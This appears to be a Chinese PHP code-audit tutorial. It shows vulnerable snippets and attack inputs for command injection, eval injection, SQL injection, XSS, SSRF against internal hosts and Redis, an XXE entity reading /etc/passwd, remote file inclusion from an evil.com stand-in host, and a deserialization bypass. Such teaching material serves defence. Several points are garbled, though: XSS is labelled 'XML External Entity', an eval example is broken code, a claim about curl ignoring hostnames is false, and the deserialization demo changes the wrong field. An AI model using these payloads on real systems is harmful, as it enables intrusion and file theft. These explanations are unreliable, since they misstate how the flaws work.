PHP Code Audit

PHP code audit(代码审计)是一个关键的流程,它能够帮助发现和解决应用程序的漏洞和安全问题,确保code的品质和可靠性。

用户输入

在进行代码审计时,首先需要对所有用户输入进行验证。常见的用户输入包括 $_SERVER、$_GET、$_POST 和 $_FILES 等。如果这些用户输入未经过验证就被用于代码中,则可能会导致各种漏洞和安全问题。

常见漏洞

命令注入(Command Injection)

通常Code里面会使用一些系统语法
EX:
system()、exec()、shell_exec()、passthru()

<?php    # PHP Command Injection範例$command = "ping $_GET['ip']";system($command)?>

攻击可以注入0.0.0.0;whoami;ls;pwd的命令进行攻击

代码注入(Code Injection)

常见函数
eval();
preg_replace();

<?phpeval($_GET('ip'));?>

攻击者输入5; system('ls -al');5; phpinfo();进行攻击

未作用户输入检查

SQL Injection

常见SQL注入攻击

    input输入:' or 1=1;--'

XSS(XML External Entity)

跨站脚本攻击,使用户浏览器执行攻击者JS代码

    ?name=<script type="text/javascript">alert('1');</script>

文件利用(伪协议)

常见的文件利用漏洞,如data://、php://input、include()、require()、file://、dict://

SSRF(服务端请求伪造)

参数
php引起SSRF的主要参数,如curl()、file_get_content()、fsockopen()

<?php    function curl($url){        $ch = curl_init();        curl_setopt($ch,CURLOPT_URL,$url);        curl_exec($ch);        curl_close($ch);    }    $url = $_GET['url'];    curl($url);?>

攻击者利用curl函数指向本机的地址,该地址可以是内部网路的某个私有IP地址。如果内部网路上有一个文件在此地址,攻击者就可以藉此下载该文件,因为curl函数会忽略HTTP请求中的主机名,并直接将请求发送到指定的IP地址。
输入 = 'http://example.com/ssrf.php?url=http://127.0.0.1/secret_document.pdf'

伪协议
file、dict

    http://example.com/ssrf.php?url=dict://127.0.0.1:6379/info  //查看redis配置

防护:

过滤返回的响应统一错误讯息,避免用户可以根据错误讯息判断远程服务器的状态限制请求的端口。ex: 80,443,8080,8090禁止不常用的协议,只允许http跟https请求使用DNS缓存或是HOST白名单方式

CSRF

情境:
受害者先登入了example.com系统
攻击者发送一段程式码,发送submit会同时将example.com的使用者帐号密码删除
受害者按下submit,因为example.com已被受害者登入过了,受害者的example.com的帐密被删除

防护:

拒绝空ReferrerAccess-Control-Allow-Origin不能设置*

XXE

加载恶意XML,输出passwd

恶意XML:<!DOCTYPE root [  <!ENTITY sensitiveFile SYSTEM "file:///etc/passwd">]><root>  <data>&sensitiveFile;</data></root>

PHP code

<?php    $xml = file_get_contents('payload.xml');    $doc = new DOMDocument();    $doc->loadXML($xml);    echo $doc->getElementsByTagName('data')[0]->nodeValue;?>

文件包含漏洞

include()、require()等函数引入外部档案,若未针对外部档案做验证,攻击可能利用这个漏洞注入恶意程式码

    $page = $_GET['page'];    include($page . '.php');

攻击者可以在page输入匡注入http://evil.com/malicious引入恶意程式码

任意文件删除/读取

unlink()
file_get()
fopen()

反序列化

php magic method

    __sleep() # 先被调用,后才执行serialize方法。__sleep方法决定哪些属性被序列化,默认序列化所有属性。    __wakeup() # 先被调用,后才执行unserialize()方法。__wakeup()方法对哪些属性初始化、赋值或改变

範例
CVE漏洞 :
影响範围:
PHP5 < 5.6.25
PHP7 < 7.0.10

当序列化字串对象属性大于实际属性数量时,将不会调用__wakeup函数

<?phpclass human{   public $name;   public $age;       function __wakeup()    {        $this->name='Hello wake up ';    }    function __destruct()    {        echo $this->name;    }}$array = new human();$array->name = 'Tom';$array->age = 20;$sArray = serialize($array);var_dump($sArray); # string(52) "O:5:"human":2:{s:4:"name";s:3:"Tom";s:3:"age";i:20;}"# change serialize string$sArray = 'O:5:"human":2:{s:1:"name";s:3:"Tom";s:3:"age";i:20;}';$resetArray = unserialize($sArray); # Notice: unserialize(): Errorvar_dump($resetArray); # bool(false)

防护:

不允许用户控制unserialize函数的参数修改成json_encode()和json_decode()

弱类型

弱类型也可能导致code error,因为弱类型的变量类型是动态确定的,所以在运算或是比较时可能会发生类型转换,可能导致非预期的结果。同时也代表code的逻辑可能会出现错误、可读性差的结果

比较符号

== vs. ===

== 在比较时,会先将两者类型转换为相同类型,再进行比较

var_dump(5=="5") // bool(true)var_dump(5==="5") // bool(false)// evar_dump("0e123456"=="0e456789"); // bool(true)

array_search
比较时用到了==非===
array_search()

$array=[0,1,2,'3'];var_dump(array_search(1,$array)); // int(1)var_dump(array_search("0",$array)); // int(0)var_dump(array_search("0e0",$array)); // int(0)var_dump(array_search("1e0",$array)); // int(1)var_dump(array_search("admin",$array)); // bool(false)

in_array()

与array_search()一样,会进行类型的转换

$array=[0,1,2,'3'];var_dump(in_array('0', $array)); // bool(true)var_dump(in_array(3, $array)); // bool(true)

杂凑
杂凑值是[数字]+'e'+[数字],导致只有比对'e'前的数字
来源

    var_dump(md5('240610708') == md5('QNKCDZO'));

关于作者: 网站小编

码农网专注IT技术教程资源分享平台,学习资源下载网站,58码农网包含计算机技术、网站程序源码下载、编程技术论坛、互联网资源下载等产品服务,提供原创、优质、完整内容的专业码农交流分享平台。

热门文章